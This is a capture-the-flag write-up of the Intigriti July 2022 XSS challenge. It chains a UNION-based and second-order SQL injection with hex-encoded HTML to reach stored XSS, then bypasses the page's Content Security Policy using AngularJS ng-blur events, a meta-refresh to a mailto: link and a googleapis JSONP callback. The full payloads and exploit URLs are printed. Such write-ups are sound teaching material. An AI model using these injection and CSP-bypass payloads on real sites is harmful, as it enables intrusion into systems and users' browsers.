Intigriti July 2022 XSS Challenge Writeup

Second Order SQLi + AngularJS CSP Bypass via ng-blur Event

bubby963 (Andrew Croft)
14 min readJul 31, 2022

Target

The target was available at https://challenge-0722.intigriti.io/ with the rules as follows:

The important parts:

  1. This must work on both Chrome AND Firefox (this is important later)
  2. It must not require any user interaction — i.e. a 0 click XSS (bar actually clicking the link to the page)

The target page itself was available at https://challenge-0722.intigriti.io/challenge/challenge.php and looked like below:

As can be seen there aren’t exactly many features on this website at all. The only clickable items are the blog author names ( Antonand Jake ), and the Archives at the side. Furthermore the blog author names simply redirect to # making them pretty much useless to us.

This leaves the Archives at the right.

Discovering the SQL injection

Upon clicking the March 2022 archive we are sent to the following link:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=3

As can be seen this just shows the posts made in March. The value in the month parameter refers to the current month we are viewing.

First I tried setting the month parameter to 4 to see what happens, as there was no archive for April

As expected no information was returned. Next I went along and instead set the value to a random string:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=asdasdas

Interesting! Rather than simply return nothing it instead caused an error. This suggests some kind of issue when handling values of a different type than expected on the backend. I next decided to see how it handled arithmetic operators and set the parameter value to 4-1 .

asd

As you can see, it actually returned the results for March! This shows that it is evaluating the arithmetic operation specified in the parameter, strongly hinting at an SQL injection vulnerability. To test I did the following two requests:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20ORDER%20BY%2020000--%20-

https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20ORDER%20BY%201--%20-

As you can see 3 ORDER BY 20000-- - returned an error while 3 ORDER BY 1-- - processed normally. This confirms there is an SQL injection.

Quick sqlmap Scan

As our intention is to cause XSS and not exfiltrate the database or read system files I decided to run a quick sqlmap scan to get the database structure (feels less like cheating if the goal is XSS :P)

I found the current database was named blog and had the following tables

  • post
  • user
  • video

Yes that is a rickroll link :P

Judging from the datetime column we can safely assume that we are injecting into a SELECT statement for the post table.

UNION Injection to Display Arbitrary Data

So the first thing to try in this scenario would of course be a UNION injection. As several fields related to the entry are displayed on the page this should work successfully. As our target table post has 5 columns, the UNION query would be structured like so

3 UNION ALL SELECT 1,2,3,4,5 — -

Now normally we would try to get database information using commands like user() or embedded SELECT statements. But as our goal is to pop an XSS I instead went for outputting the following XSS payload

<script>alert(document.domain)</script>

In SQL statements strings must be surrounded by quotes — single or double — but during an injection this can often mess with the payload and cause an error. This was the case in this scenario. So I hex encoded the above payload, resulting in

0x3C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E

Now, with UNION based SQL injection the data in each column in the second SELECT statement must be the same type as the corresponding column in the preceding SELECT statement. Looking at the post table again

We can see that only msg (the second column) and title (the third column) are string types, and thus viable candidates for injection.

I therefore constructed the following payload

3 UNION ALL SELECT NULL,0x3C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E,0x3C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E,NULL,NULL— -

This gave us the following

Hmm, it seems the values are filtered. We can confirm this by looking at the page source:

So now the challenge was to find somewhere else to inject our XSS payload into. Looking at the page again there was one more viable candidate — the author name.

Discovering the Second-Order SQL Injection

As we can see from the post table dump, the fourth table — author — contains the id of the author whose post it is. It is therefore presumably using the value of that id to perform a second database lookup to the user get the author name to display on the page.

After a bit of thinking I came up with the following idea of what the backend PHP code looked like

If my assumption is correct, then it is using the author id obtained from the first SQL query (the one we are injecting into — $post_query above) to make a lookup to the user table ( $author_query above). Furthermore, I am assuming that just like the first query, there is also no sanitization in the second query.

This is known as a second-order SQL injection, which is where attacker input used by one query is later used by another query, and the second query is vulnerable to SQL injection. This is common in cases where for example user-defined input is saved to the database and then later used for some kind of data processing.

To test this theory, I made the following SQL injection payload:

2 ORDER BY 20000 — -

Hex encoded it

0x32204F524445522042592032303030302D2D200A2D

And shoved it in the fourth column of the original payload:

3 UNION ALL SELECT NULL,NULL,NULL,0x32204F524445522042592032303030302D2D200A2D,NULL — -

This returns no information for the author name.

I next did the same again with the following payload

2 ORDER BY 1 — -

And we see:

Perfect! We now know for sure there is a second-order SQL injection in the author column.

So how to output our payload? Looking back at the user table:

We can see the field being output, i.e. name , is the second column. We also see the table has three columns. So we construct the following payload

2 UNION ALL SELECT NULL,0x3C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E,NULL — -

(Note: the big value is just the hex-encoded value of <script>alert(document.domain)</script> )

I once again hex encoded this and chucked it in the fourth column of the original payload

3 UNION ALL SELECT NULL,NULL,NULL,0x3220554E494F4E20414C4C2053454C454354204E554C4C2C30783343373336333732363937303734334536313643363537323734323836343646363337353644363536453734324536343646364436313639364532393343324637333633373236393730373433452C4E554C4C2D2D202D,NULL — -

And we get:

Huh, the exact same as before. This is likely because we are UNION selecting for an existing id (2), and thus the value already there (Jake) is taking precedence over our payload. We can fix this by instead using a non existing id (-2) like so

-2 UNION ALL SELECT NULL,0x3C7363726970743E616C65727428646F63756D656E742E646F6D61696E293C2F7363726970743E,NULL — -

After hex encoding it and shoving it in the fourth column of the original payload we get

Hmm… nothing. BUT checking the source code

We have successfully injected arbitrary HTML into the page source!

But the question is… why didn’t our payload fire?

A look at the dev console gives us the answer:

Translation: `Content Security Policy: Reading of the following resource was blocked due to the page settings: inline (“default-src”)`

The dreaded Content Security Policy

Content Security Policy

Content Security Policy (CSP) is a measure that browsers use to prevent content injection attacks, in particular XSS. A website uses the CSP header to tell the browser which sources it allows loading of data from. This can be done to a very fine level, e.g. you can specify to only allow to load <iframe>sources from X domain and only allow <script> sources from Y domain etc. Furthermore, by default inline javascript code execution is not allowed. It must be explicitly allowed via the unsafe-inline directive.

Our target’s CSP settings look as follows:

So what does this mean? default-src specifies the settings to use for objects which aren’t explicitly defined via CSP. So for example if you have a default-src directive and a script-src directive, then all resource loads via <script> elements will follow the script-src directive, while all resource loads via other elements will follow the default-src directive.

As we can see, the default-src is set to 'self' *.googleapis.com *.gstatic.com *.cloudflare.com . This means we can load any source for any element from either the same domain (challenge-0722.intigriti.io) or from *.googleapis.com, *.gstatic.com, and *.cloudflare.com

Also note, the lack of unsafe-inline means that inline javascript cannot be executed, hence why our payload failed.

It was at this point I started collabing with my buddy @H4R3L to see if we could over come this. You can read his writeup here

So our next challenge is to look for a way to bypass the CSP settings. Thankfully Google has created a CSP evaluator which is always a big help in these situations. Putting in the target we get the following results:

Interesting! So it seems like we have some leads here. Our three allowed domains host AngularJS libraries which can be used for CSP bypass. Also it seems googleapis.com hosts a JSONP endpoint, but for the life of me I could not find it through my searching at the time (much to my chagrin later on). So I went with the AngularJS method.

As always the first port of call is HackTricks, which has a very handy article on CSP Bypass here. It has many payloads but most of them require using AngularJS’s eval function. This cannot be used unless unsafe-eval is explicitly defined in the CSP, which it is not.

However going down we see another interesting method — AngularJS events

CSP Bypass via AngularJS Events

As previously mentioned, due to unsafe-inline in the CSP we cannot execute javascript defined within the page source. This includes javascript events such as onload , onmouseover etc etc

However, AngularJS defines its own events which can be used in a similar way. For example ng-focus will work the same as the javascript onFocus . And unlike javascript events these are not blocked by CSP.

When inside an AngularJS event, there is a $event object which references the browser event object. In particular, the $event.composedPath() property is of use to us. This property contains an array of the objects which cause the target event to be executed, with the last object always being window . By passing this array to an orderBy filter, each object in the array will be enumerated. We can then use the final element, i.e. window , to call a global function like alert() and bypass the sandbox that normally prevents use from accessing global objects like window or document (explanation paraphrased from this source).

Thankfully, the PortSwigger XSS cheat sheet has a section on this.

As we need our payload to work on both FireFox and Chrome, we will use Gareth Heyes’ all browser payload

<input autofocus ng-focus=”$event.composedPath()|orderBy:’[].constructor.from([1],alert)’”>

We of course need to refactor this for our purposes, leading to the following payload:

<script src=”https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.min.js"></script>
<input ng-app ng-csp ng-focus=”$event.composedPath()|orderBy:’[].constructor.from([document.domain],alert)’” autofocus >

The main changes are

  1. We need to actually import the angular.js library. I chose to do this from cloudflare.com, but it also exists on both googleapis.com and gstatic.com. Also we can use any version, I just went with 1.4.5 randomly
  2. We need to add the ng-app and ng-csp attributes to our input tag.
  • ng-app — This is used to specify the root element of the page. If this isn’t set then the element containing our event won’t be processed by Angular
  • ng-csp — This is used to tell Angular not to use functions that conflict with CSP. Setting this is recommended as otherwise Angular might use forbidden funtions, causing our payload to fail

With that done it’s time to test it. In theory what should happen is that

  1. AngularJS will be loaded
  2. The browser autofocuses on the <input> tag due to autofocus attribute being set
  3. Upon the autofocus, ng-focus event starts and our payload executes

I tested this first on my local machine and:

Huh… nothing. What happens if we manually focus into the input element?

This time our payload executes!

So what went wrong? Well after some researching it seems that FireFox was autofocusing on the input element before the event could be registered, meaning that the payload wouldn’t auto execute. If we were to switch applications/tabs then reopen the page it would fire as it would re-focus on the element. However, this is not a 0-click solution, which is one of the chall requirements.

Searching for a 0-Click Solution

The next — and hopefully final — step then is to find a 0-click solution, a way to have our payload execute on page load without any user interaction whatsoever.

I kept trying with ng-focus , trying to find a way to delay the autofocus so that it happened after the event registered. Alas, I was unable to.

This led me down another path. What if rather than autofocus on the element and have the event load on focus, we autofocus on the element and have the event load on blur instead? AngularJS has a directive for this called ng-blur . For those who are unaware, blur is effectively the opposite of a focus — an event that happens when you take focus away from an item.

So with this new idea I started brainstorming. My first idea was to focus on the element and then load the same page within an iframe like so:

My hope was that when the iframe loaded it would autofocus on the element in the iframe, causing focus to be lost on the element on the parent window and our ng-blurevent to fire.

As you can see this did not work. The page did not change focus to the element in the iframe. Upon research it seems there is actually a vulnerability class known as Focus Stealing, and not allowing autofocusing on elements in iframes is a measure done by browsers precisely to prevent this.

So this made me think, what other ways can we the browser to lose focus on our element?

And that’s when it hit me — the <meta http-equiv="refresh"> tag. This tag can be used to redirect to a page after a certain period of time has elapsed. If I could somehow cause a redirect which would cause focus to shift from our element without leaving the page, then I should be able to succeed in a 0-click XSS.

Abusing the mailto: scheme

After brainstorming for a while I came up with the idea to use the mailto: scheme. This scheme is used with email addresses. When a URL with a mailto: scheme is clicked the browser opens the mail client, and creates a draft email with the address in the URL in the To: section.

My intended flow was as follows:

  1. Load AngularJS into the page
  2. Autofocus on the <input> element, and add an ng-blur event to fire when focus is lost
  3. Use <meta http-equiv="refresh" content="1:URL="mailto:someone@example.com"> to redirect after one second. If the user has no registered mail app a popup will be displayed asking which app they want to use. If they have registered it it will open the mail app. Either way focus will be lost and our payload will fire.

The payload I used was as follows:

<script src=”https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.min.js"></script>
<input ng-app ng-csp ng-blur=”$event.composedPath()|orderBy:’[].constructor.from([document.domain],alert)’” autofocus id=”test”>
<meta http-equiv=”refresh” content=”1;URL=mailto:someone@example.com”>

First I tested it in FireFox and…

To my surprise it actually worked! You can see the alert box behind the popup asking which program to use

Now to try Chrome…

This also works!!!

Okay it looks like we have a working payload!! Now to test on the real website

First we hex encode our payload

0x3C736372697074207372633D2268747470733A2F2F63646E6A732E636C6F7564666C6172652E636F6D2F616A61782F6C6962732F616E67756C61722E6A732F312E342E352F616E67756C61722E6D696E2E6A73223E3C2F7363726970743E0A3C696E707574206E672D617070206E672D637370206E672D626C75723D22246576656E742E636F6D706F7365645061746828297C6F7264657242793A275B5D2E636F6E7374727563746F722E66726F6D285B646F63756D656E742E646F6D61696E5D2C616C657274292722206175746F666F6375732069643D2274657374223E0A3C6D65746120687474702D65717569763D22726566726573682220636F6E74656E743D22313B55524C3D6D61696C746F3A736F6D656F6E65406578616D706C652E636F6D223E

Then we shove it in the second column of the second-order SQL payload

-2 UNION ALL SELECT NULL,0x3C736372697074207372633D2268747470733A2F2F63646E6A732E636C6F7564666C6172652E636F6D2F616A61782F6C6962732F616E67756C61722E6A732F312E342E352F616E67756C61722E6D696E2E6A73223E3C2F7363726970743E0A3C696E707574206E672D617070206E672D637370206E672D626C75723D22246576656E742E636F6D706F7365645061746828297C6F7264657242793A275B5D2E636F6E7374727563746F722E66726F6D285B646F63756D656E742E646F6D61696E5D2C616C657274292722206175746F666F6375732069643D2274657374223E0A3C6D65746120687474702D65717569763D22726566726573682220636F6E74656E743D22313B55524C3D6D61696C746F3A736F6D656F6E65406578616D706C652E636F6D223E,NULL — -

Then we hex encode that payload

0x2D3220554E494F4E20414C4C2053454C454354204E554C4C2C30783343373336333732363937303734323037333732363333443232363837343734373037333341324632463633363436453641373332453633364336463735363436363643363137323635324536333646364432463631364136313738324636433639363237333246363136453637373536433631373232453641373332463331324533343245333532463631364536373735364336313732324536443639364532453641373332323345334332463733363337323639373037343345304133433639364537303735373432303645363732443631373037303230364536373244363337333730323036453637324436323643373537323344323232343635373636353645373432453633364636443730364637333635363435303631373436383238323937433646373236343635373234323739334132373542354432453633364636453733373437323735363337343646373232453636373236463644323835423634364636333735364436353645373432453634364636443631363936453544324336313643363537323734323932373232323036313735373436463636364636333735373332303639363433443232373436353733373432323345304133433644363537343631323036383734373437303244363537313735363937363344323237323635363637323635373336383232323036333646364537343635364537343344323233313342353535323443334436443631363936433734364633413733364636443635364636453635343036353738363136443730364336353245363336463644323233452C4E554C4C2D2D202D

And shove it in the fourth column of the original UNION SQL injection payload

https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,0x2D3220554E494F4E20414C4C2053454C454354204E554C4C2C30783343373336333732363937303734323037333732363333443232363837343734373037333341324632463633363436453641373332453633364336463735363436363643363137323635324536333646364432463631364136313738324636433639363237333246363136453637373536433631373232453641373332463331324533343245333532463631364536373735364336313732324536443639364532453641373332323345334332463733363337323639373037343345304133433639364537303735373432303645363732443631373037303230364536373244363337333730323036453637324436323643373537323344323232343635373636353645373432453633364636443730364637333635363435303631373436383238323937433646373236343635373234323739334132373542354432453633364636453733373437323735363337343646373232453636373236463644323835423634364636333735364436353645373432453634364636443631363936453544324336313643363537323734323932373232323036313735373436463636364636333735373332303639363433443232373436353733373432323345304133433644363537343631323036383734373437303244363537313735363937363344323237323635363637323635373336383232323036333646364537343635364537343344323233313342353535323443334436443631363936433734364633413733364636443635364636453635343036353738363136443730364336353245363336463644323233452C4E554C4C2D2D202D,NULL--%20-

First we test on FireFox:

It works! Once again the alert box is hidden behind the popup, but it has fired on page load which was the goal. If we close the popup we see

Now for Chrome

This also works!

There we go, challenge complete! A slightly unorthodox way but fun nonetheless :P

The Realization

So after figuring out the above you can imagine I was pretty pleased with myself. Until I found out there was a JSONP endpoint available at https://www.googleapis.com/customsearch/v1?callback=alert(document.domain). This means I could have just used the following payload instead:

<script src=”https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)"></script>

Which would be:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=3%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,0x2D3220554E494F4E20414C4C2053454C454354204E554C4C2C3078334337333633373236393730373432303733373236333344323236383734373437303733334132463246373737373737324536373646364636373643363536313730363937333245363336463644324636333735373337343646364437333635363137323633363832463736333133463633363136433643363236313633364233443631364336353732373432383634364636333735364436353645373432453634364636443631363936453239323233453343324637333633373236393730373433452C4E554C4C2D2D202D,NULL--%20-

So I spent a good amount of time looking for a unique payload when there was an easy one right there 🙃

That being said however, I’m happy with the payload I reached. It was great fun trying to brainstorm different ways of getting a 0-click execution, and the final payload I reached works in the case there isn’t a JSONP endpoint available too, so does have that benefit.

Thank you very much for taking the time to read to the end of this writeup, I hope you enjoyed it!

Also, once again a huge shoutout and thanks to @H4R3L who I worked together with on this. Definitely wouldn’t have reached a solution without him. Check out his writeup.

--

--

bubby963 (Andrew Croft)

Red teamer and part time bug bounty hunter. Interested in all things related to offsec.